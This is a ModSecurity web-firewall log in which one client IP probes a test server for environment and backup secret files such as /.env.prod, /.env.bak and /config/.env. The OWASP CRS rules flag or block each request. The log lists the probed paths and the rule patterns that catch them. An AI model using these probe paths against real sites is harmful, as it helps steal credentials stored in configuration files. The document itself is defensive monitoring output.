[Tue Jul 01 06:30:20.579505 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development&quot;] [unique_id &quot;aGNkXPZHrFQ9LfBs7ULsLgAAAAY&quot;]
[Tue Jul 01 06:30:20.604148 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.prod&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aGNkXPZHrFQ9LfBs7ULsLwAAAAY&quot;]
[Tue Jul 01 06:30:20.604377 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aGNkXPZHrFQ9LfBs7ULsLwAAAAY&quot;]
[Tue Jul 01 06:30:20.604829 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aGNkXPZHrFQ9LfBs7ULsLwAAAAY&quot;]
[Tue Jul 01 06:30:20.625066 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aGNkXPZHrFQ9LfBs7ULsMAAAAAY&quot;]
[Tue Jul 01 06:30:20.625313 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aGNkXPZHrFQ9LfBs7ULsMAAAAAY&quot;]
[Tue Jul 01 06:30:20.625507 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aGNkXPZHrFQ9LfBs7ULsMAAAAAY&quot;]
[Tue Jul 01 06:30:20.654262 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.stage&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;aGNkXPZHrFQ9LfBs7ULsMQAAAAY&quot;]
[Tue Jul 01 06:30:20.654508 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;aGNkXPZHrFQ9LfBs7ULsMQAAAAY&quot;]
[Tue Jul 01 06:30:20.654712 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;aGNkXPZHrFQ9LfBs7ULsMQAAAAY&quot;]
[Tue Jul 01 06:30:23.051783 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.test&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;aGNkX_ZHrFQ9LfBs7ULsMgAAAAY&quot;]
[Tue Jul 01 06:30:23.052032 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;aGNkX_ZHrFQ9LfBs7ULsMgAAAAY&quot;]
[Tue Jul 01 06:30:23.052239 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;aGNkX_ZHrFQ9LfBs7ULsMgAAAAY&quot;]
[Tue Jul 01 06:30:23.072401 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aGNkX_ZHrFQ9LfBs7ULsMwAAAAY&quot;]
[Tue Jul 01 06:30:23.072632 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aGNkX_ZHrFQ9LfBs7ULsMwAAAAY&quot;]
[Tue Jul 01 06:30:23.072810 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aGNkX_ZHrFQ9LfBs7ULsMwAAAAY&quot;]
[Tue Jul 01 06:30:23.092790 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aGNkX_ZHrFQ9LfBs7ULsNAAAAAY&quot;]
[Tue Jul 01 06:30:23.092967 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aGNkX_ZHrFQ9LfBs7ULsNAAAAAY&quot;]
[Tue Jul 01 06:30:23.093194 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aGNkX_ZHrFQ9LfBs7ULsNAAAAAY&quot;]
[Tue Jul 01 06:30:23.093376 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aGNkX_ZHrFQ9LfBs7ULsNAAAAAY&quot;]
[Tue Jul 01 06:30:23.113406 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aGNkX_ZHrFQ9LfBs7ULsNQAAAAY&quot;]
[Tue Jul 01 06:30:23.113587 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aGNkX_ZHrFQ9LfBs7ULsNQAAAAY&quot;]
[Tue Jul 01 06:30:23.113834 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aGNkX_ZHrFQ9LfBs7ULsNQAAAAY&quot;]
[Tue Jul 01 06:30:23.114015 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aGNkX_ZHrFQ9LfBs7ULsNQAAAAY&quot;]
[Tue Jul 01 06:30:23.134068 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aGNkX_ZHrFQ9LfBs7ULsNgAAAAY&quot;]
[Tue Jul 01 06:30:23.134303 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aGNkX_ZHrFQ9LfBs7ULsNgAAAAY&quot;]
[Tue Jul 01 06:30:23.134505 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aGNkX_ZHrFQ9LfBs7ULsNgAAAAY&quot;]
[Tue Jul 01 06:30:23.175967 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aGNkX_ZHrFQ9LfBs7ULsOAAAAAY&quot;]
[Tue Jul 01 06:30:23.176199 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aGNkX_ZHrFQ9LfBs7ULsOAAAAAY&quot;]
[Tue Jul 01 06:30:23.176385 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aGNkX_ZHrFQ9LfBs7ULsOAAAAAY&quot;]
[Tue Jul 01 06:30:23.196402 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aGNkX_ZHrFQ9LfBs7ULsOQAAAAY&quot;]
